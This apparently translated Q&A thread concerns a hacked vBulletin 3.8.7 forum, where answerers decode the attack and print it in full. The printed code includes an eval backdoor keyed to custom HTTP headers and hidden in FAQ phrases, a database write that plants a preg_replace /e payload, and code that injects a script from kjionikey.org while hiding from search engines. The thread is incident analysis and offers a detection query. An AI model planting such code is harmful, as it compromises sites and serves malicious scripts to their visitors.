HTTP TIP and HTTP PACK?

I found a couple of vBulletin sites that I administer recently getting hacked. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). Usually I am good at finding the holes where they get in and fixing them, but that pushes me. They enter data into MySQL tables. The attack always occurs when they make a GET request to the faq.php script. I was able to save data when the attack occurs. These were the arrays $_REQUEST , $_GET , $_POST , $_COOKIE and $_SERVER . The only thing I saw that it looked inappropriate was the two new keys $_SERVER , HTTP_SOVIET and HTTP_PACK :

http://pastebin.com/b6WdZtfK

I must assume that this is the root of the problem, but I cannot understand for life how an attacker can set this variable. There is nothing in the query line, nothing in the cookie array, this is a GET request, not a POST.

Any idea?

+4
source share
2 answers

A variable of type $_SERVER['HTTP_*'] can be set by adding headers to the HTTP request.

An example of a simple command line:

PHP page:

 print_r($_SERVER); 

Then at the command prompt:

 curl --header "SOVIET: 123" localhost 

You will see that $_SERVER['HTTP_SOVIET'] is 123 .

In this case, the contents of HTTP_SOVIET is encoded by base64 (give it back, it ends with == ). Unencoded, it turns into:

 function iai() { global $db; $base = base64_decode('=='); $style = $GLOBALS['style']; if(!empty($style['styleid'])) { $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\''); if($a['styleid']!='' and $a['replacements']=='') { $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''); echo 'ok'; } else echo 'error'; } exit; } @iai(); 

It is worth noting that the request is there:

 'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'' 

Check the stylesheet as this is one of the ways / user access code.

Renaming a stylesheet to something else is more likely to mitigate the effects of this attack.

In this case, the base64 bit has more bas64, which has more bas64, which ultimately computes:

 function HdtBiGTAr() { global $ip_x; $file_d = '/tmp/phpYRcCBmBr'; $ip_l = (string)ip2long($ip_x); if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) { $data = file_get_contents($file_d); if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).','); if(!stristr($data,$ip_l)) { file_put_contents($file_d,"$ip_l,",FILE_APPEND); } else return true; } } function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } function FzKuPfiAG() { $ip = ''; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) { $ip = $arr['0']; } } return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR']; } function Ap_hZD_() { if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) { if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true; } } function oMYYOar() { global $ip_x; $ip_x = FzKuPfiAG(); $a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.'); foreach($a as $b) { if(preg_match("/^$b/i",$ip_x)) return true; } } if(!empty($_SERVER['HTTP_REFERER'])) { if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) { $newtext = KeHHdiXL($newtext); } } return $newtext; 

This is written to a file called /tmp/phpYRcCBmBr , so I would see what that says.

It also hides this behavior from search engines, which is nice.

Bad bit for users, most likely:

 function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } 

Which puts JS on a page hosted at kjionikey.org . This JS requires a key based on the IP address.

I would check for any code that reads / executes the contents of the random variables $ _SERVER, but why it would be there, I don't know.

+4
source

In this case, the attacker has a backdoor code installed in one of your frequently asked questions (vbulletin phrases db table) as a set of chr() calls to PHP functions.

 ${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ... 

which basically, when eval'd via faq.php script, gets decoding to:

 if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET'])) { if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy') @eval(base64_decode($_SERVER['HTTP_SOVIET'])); } 

You can find the affected phrases of VBulletin by issuing such an SQL query

 SELECT varname, text FROM `phrase` where text like '%chr(%'; 

Although there are many variations of this, some use HEX strings, base64decode, assert, packages, or just PHP.

0
source

Source: https://habr.com/ru/post/1439154/


All Articles